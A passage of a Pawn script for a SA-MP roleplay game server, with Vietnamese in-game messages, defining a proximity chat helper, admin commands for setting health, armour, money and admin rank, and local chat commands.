663 GetPlayerPos(playerid, f_playerPos[0], f_playerPos[1], f_playerPos[2]);
664 foreach(new i: Player) {
665 if(GetPlayerVirtualWorld(i) == GetPlayerVirtualWorld(playerid)) {
666 if(IsPlayerInRangeOfPoint(i, f_Radius / 16, f_playerPos[0], f_playerPos[1], f_playerPos[2])) SendClientMessageEx(i, col1, string);
667 else if(IsPlayerInRangeOfPoint(i, f_Radius / 8, f_playerPos[0], f_playerPos[1], f_playerPos[2])) SendClientMessageEx(i, col2, string);
668 else if(IsPlayerInRangeOfPoint(i, f_Radius / 4, f_playerPos[0], f_playerPos[1], f_playerPos[2])) SendClientMessageEx(i, col3, string);
669 else if(IsPlayerInRangeOfPoint(i, f_Radius / 2, f_playerPos[0], f_playerPos[1], f_playerPos[2])) SendClientMessageEx(i, col4, string);
670 else if(IsPlayerInRangeOfPoint(i, f_Radius, f_playerPos[0], f_playerPos[1], f_playerPos[2])) SendClientMessageEx(i, col5, string);
671 }
672 }
673 return 1;
674}
675
676/*---------------------Command---------------------*/
677CMD:setarmour(playerid, params[]) {
678 new string[128], giveplayerid, armour;
679 if(PlayerInfo[playerid][pAdmin] < 6) return SendClientMessageEx(playerid, -1, "{AA3333}[!]{FFFFFF} Ban khong duoc phep su dung lenh nay.");
680 if(sscanf(params, "ud", giveplayerid, armour)) return SendClientMessageEx(playerid, -1, "{33AA33}[SU DUNG]{FFFFFF}: /setarmour [player] [armour]");
681 if(IsPlayerConnected(giveplayerid)) {
682 SetPlayerArmour(giveplayerid, armour);
683 format(string, sizeof(string), "{33AA33}[!]{FFFFFF} Ban da chinh giap cua {33AA33}%s{FFFFFF} thanh {AA3333}%d{FFFFFF}.",GetPlayerNameEx(giveplayerid), armour);
684 SendClientMessageEx(playerid, -1, string);
685 format(string, sizeof(string), "{33AA33}[!]{FFFFFF} {33AA33}%s{FFFFFF} da chinh giap cua ban thanh {AA3333}%d{FFFFFF}.",GetPlayerNameEx(giveplayerid), armour);
686 SendClientMessageEx(giveplayerid, -1, string);
687 }
688 return 1;
689}
690
691CMD:sethealth(playerid, params[]) {
692 new string[128], giveplayerid, health;
693 if(PlayerInfo[playerid][pAdmin] < 6) return SendClientMessageEx(playerid, -1, "{AA3333}[!]{FFFFFF} Ban khong duoc phep su dung lenh nay.");
694 if(sscanf(params, "ud", giveplayerid, health)) return SendClientMessageEx(playerid, -1, "{33AA33}[SU DUNG]{FFFFFF}: /setarmour [player] [health]");
695 if(IsPlayerConnected(giveplayerid)) {
696 SetPlayerHealth(giveplayerid, health);
697 format(string, sizeof(string), "{33AA33}[!]{FFFFFF} Ban da chinh mau cua {33AA33}%s{FFFFFF} thanh {AA3333}%d{FFFFFF}.",GetPlayerNameEx(giveplayerid), health);
698 SendClientMessageEx(playerid, -1, string);
699 format(string, sizeof(string), "{33AA33}[!]{FFFFFF} {33AA33}%s{FFFFFF} da chinh mau cua ban thanh {AA3333}%d{FFFFFF}.",GetPlayerNameEx(giveplayerid), health);
700 SendClientMessageEx(giveplayerid, -1, string);
701 }
702 return 1;
703}
704
705CMD:setmoney(playerid, params[]) {
706 new string[128], giveplayerid, money;
707 if(PlayerInfo[playerid][pAdmin] < 6) return SendClientMessageEx(playerid, -1, "{AA3333}[!]{FFFFFF} Ban khong duoc phep su dung lenh nay.");
708 if(sscanf(params, "ud", giveplayerid, money)) return SendClientMessageEx(playerid, -1, "{33AA33}[SU DUNG]{FFFFFF}: /setmoney [player] [money]");
709 if(IsPlayerConnected(giveplayerid)) {
710 ResetPlayerCash(giveplayerid);
711 GivePlayerCash(giveplayerid, money);
712 format(string, sizeof(string), "{33AA33}[!]{FFFFFF} Ban da chinh tien cua {33AA33}%s{FFFFFF} thanh {AA3333}$%d{FFFFFF}.",GetPlayerNameEx(giveplayerid),money);
713 SendClientMessageEx(playerid, -1, string);
714 }
715 return 1;
716}
717
718CMD:givemoney(playerid, params[]) {
719 new string[128], giveplayerid, money;
720 if(PlayerInfo[playerid][pAdmin] < 6) return SendClientMessageEx(playerid, -1, "{AA3333}[!]{FFFFFF} Ban khong duoc phep su dung lenh nay.");
721 if(sscanf(params, "ud", giveplayerid, money)) return SendClientMessage(playerid, -1, "{33AA33}[SU DUNG]{FFFFFF}: /givemoney [player] [money]");
722 if(money < 1) return SendClientMessage(playerid, -1, "{AA3333}[!]{FFFFFF} So tien khong duoc duoi 1$.");
723 if(IsPlayerConnected(giveplayerid)) {
724 GivePlayerCash(giveplayerid, money);
725 format(string, sizeof(string), "{33AA33}[!]{FFFFFF} Ban da tang cho {33AA33}%s{FFFFFF} so tien {AA3333}$%d{FFFFFF}.", GetPlayerNameEx(giveplayerid), number_format(money));
726 SendClientMessage(playerid, -1, string);
727 }
728 return 1;
729}
730
731CMD:makeadmin(playerid, params[]) {
732 if(PlayerInfo[playerid][pAdmin] < 6) return SendClientMessageEx(playerid, -1, "{AA3333}[!]{FFFFFF} Ban khong duoc phep su dung lenh nay.");
733 new ALevel, giveplayerid, szRank[128];
734
735 if(sscanf(params, "ui", giveplayerid, ALevel)) {
736 SendClientMessageEx(playerid, -1, "{33AA33}[SU DUNG]{FFFFFF}: /makeadmin [player] [level]");
737 }
738 else if(IsPlayerConnected(playerid)) {
739 if(PlayerInfo[giveplayerid][pAdmin] == ALevel) return SendClientMessageEx(playerid, -1, "{AA3333}[!]{FFFFFF} Ban khong duoc phep lam dieu nay ngay bay gio.");
740 switch(ALevel) {
741 case 0: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: {33AA33}%s{FFFFFF} da xoa chuc vu Administrator cua %s.", GetPlayerNameEx(playerid), GetPlayerNameEx(giveplayerid));
742 case 1: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: {33AA33}%s{FFFFFF} da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Report{FFFFFF}.", GetPlayerNameEx(playerid), GetPlayerNameEx(giveplayerid));
743 case 2: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: {33AA33}%s{FFFFFF} da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Hacking{FFFFFF}.", GetPlayerNameEx(playerid), GetPlayerNameEx(giveplayerid));
744 case 3: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: {33AA33}%s{FFFFFF} da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Eshop{FFFFFF}.", GetPlayerNameEx(playerid), GetPlayerNameEx(giveplayerid));
745 case 4: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: {33AA33}%s{FFFFFF} da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Builder{FFFFFF}.", GetPlayerNameEx(playerid), GetPlayerNameEx(giveplayerid));
746 case 5: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: {33AA33}%s{FFFFFF} da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Advisor{FFFFFF}.", GetPlayerNameEx(playerid), GetPlayerNameEx(giveplayerid));
747 case 6: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: {33AA33}%s{FFFFFF} da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Administrator{FFFFFF}.", GetPlayerNameEx(playerid), GetPlayerNameEx(giveplayerid));
748 case 1111: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: %s da dua %s len Administrator {33AA33}Scripter{FFFFFF}.", GetPlayerNameEx(playerid), GetPlayerNameEx(giveplayerid));
749 default: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: %s da dua %s len Administrator {AA3333}Khong Xac Dinh{FFFFFF}.", GetPlayerNameEx(playerid), GetPlayerNameEx(giveplayerid));
750 }
751 PlayerInfo[giveplayerid][pAdmin] = ALevel;
752 AMessage(-1, szRank, 2);
753 switch(ALevel) {
754 case 0: format(szRank, sizeof(szRank), "{AA3333}[CHU Y]{FFFFFF}: Chuc vu Administrator cua ban da bi xoa boi {33AA33}%s{FFFFFF}.", GetPlayerNameEx(playerid));
755 case 1: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da duoc dua len Administrator {33AA33}Manager Report{FFFFFF} boi {33AA33}%s{FFFFFF}.", GetPlayerNameEx(playerid));
756 case 2: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da duoc dua len Administrator {33AA33}Manager Hacking{FFFFFF} boi {33AA33}%s{FFFFFF}.", GetPlayerNameEx(playerid));
757 case 3: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da duoc dua len Administrator {33AA33}Manager Eshop{FFFFFF} boi {33AA33}%s{FFFFFF}.", GetPlayerNameEx(playerid));
758 case 4: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da duoc dua len Administrator {33AA33}Manager Builder{FFFFFF} boi {33AA33}%s{FFFFFF}.", GetPlayerNameEx(playerid));
759 case 5: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da duoc dua len Administrator {33AA33}Manager Advisor{FFFFFF} boi {33AA33}%s{FFFFFF}.", GetPlayerNameEx(playerid));
760 case 6: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da duoc dua len Administrator {33AA33}Manager Administrator{FFFFFF} boi {33AA33}%s{FFFFFF}.", GetPlayerNameEx(playerid));
761 case 1111: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da duoc dua len Administrator {33AA33}Scripter{FFFFFF} boi {33AA33}%s{FFFFFF}.", GetPlayerNameEx(playerid));
762 default: format(szRank, sizeof(szRank), "{AA3333}[CHU Y]{FFFFFF}: Ban da duoc dua len Administrator {AA3333}Khong Xac Dinh{FFFFFF} boi {33AA33}%s{FFFFFF}.", GetPlayerNameEx(playerid));
763 }
764 SendClientMessageEx(giveplayerid, -1, szRank);
765
766 switch(ALevel) {
767 case 0: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da xoa chuc vu Administrator cua {33AA33}%s{FFFFFF}.", GetPlayerNameEx(giveplayerid));
768 case 1: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Report{FFFFFF} .", GetPlayerNameEx(giveplayerid));
769 case 2: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Hacking{FFFFFF}.", GetPlayerNameEx(giveplayerid));
770 case 3: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Eshop{FFFFFF}.", GetPlayerNameEx(giveplayerid));
771 case 4: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Builder{FFFFFF}.", GetPlayerNameEx(giveplayerid));
772 case 5: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Advisor{FFFFFF}.", GetPlayerNameEx(giveplayerid));
773 case 6: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Manager Administrator{FFFFFF}.", GetPlayerNameEx(giveplayerid));
774 case 1111: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da dua {33AA33}%s{FFFFFF} len Administrator {33AA33}Scripter{FFFFFF}.", GetPlayerNameEx(giveplayerid));
775 default: format(szRank, sizeof(szRank), "{33AA33}[CHU Y]{FFFFFF}: Ban da dua {33AA33}%s{FFFFFF} len Administrator {AA3333}Khong Xac Dinh{FFFFFF}.", GetPlayerNameEx(giveplayerid));
776 }
777 SendClientMessageEx(playerid, -1, szRank);
778 }
779 else SendClientMessageEx(playerid, -1, "{AA3333}[!]{FFFFFF} Nguoi choi khong hop le.");
780 return 1;
781}
782
783CMD:b(playerid, params[]) {
784 if(!IsPlayerConnected(playerid)) return SendClientMessageEx(playerid, -1, "{AA3333}[!]{FFFFFF} Ban chua dang nhap.");
785 if(isnull(params)) return SendClientMessageEx(playerid, -1, "{33AA33}[SU DUNG]{FFFFFF}: /b [OOC Chat]");
786 new string[128];
787 format(string, sizeof(string), "{FFFF00}[Chat OOC - {9ACD32}%s{FFFF00}]{FFFFFF} noi: (( %s ))", GetPlayerNameEx(playerid), params);
788 ProxDetector(20.0, playerid, string,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
789 return 1;
790}
791
792CMD:s(playerid, params[]) {
793 if(!IsPlayerConnected(playerid)) return SendClientMessageEx(playerid, -1, "{AA3333}[!]{FFFFFF} Ban chua dang nhap.");
794 if(isnull(params)) return SendClientMessageEx(playerid, -1, "{33AA33}[SU DUNG]{FFFFFF}: /s [Shout Chat]");
795 new string[128];
796 format(string, sizeof(string), "(het to) %s!", params);
797 SetPlayerChatBubble(playerid,string,COLOR_WHITE,60.0,5000);
798 format(string, sizeof(string), "{FFFF00}[Het To - {9ACD32}%s{FFFF00}]{FFFFFF} noi: %s!", GetPlayerNameEx(playerid), params);
799 ProxDetector(30.0, playerid, string,COLOR_WHITE,COLOR_WHITE,COLOR_WHITE,COLOR_FADE1,COLOR_FADE2);
800 return 1;
801}
802
803CMD:l(playerid, params[]) {
804 if(!IsPlayerConnected(playerid)) return SendClientMessageEx(playerid, -1, "{AA3333}[!]{FFFFFF} Ban chua dang nhap.");
805 if(isnull(params)) return SendClientMessageEx(playerid, COLOR_GREY, "{33AA33}[SU DUNG]{FFFFFF}: /l [Low Chat]");
806 new string[128];
807 format(string, sizeof(string), "{FFFF00}[Noi Nho - {9ACD32}%s{FFFF00}]{FFFFFF} noi: %s", GetPlayerNameEx(playerid), params);
808 ProxDetector(5.0, playerid, string,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
809 format(string, sizeof(string), "(noi nho) %s", params);
810 SetPlayerChatBubble(playerid,string,COLOR_WHITE,5.0,5000);
811 return 1;
812}
813
814/*------------------End Command------------------*/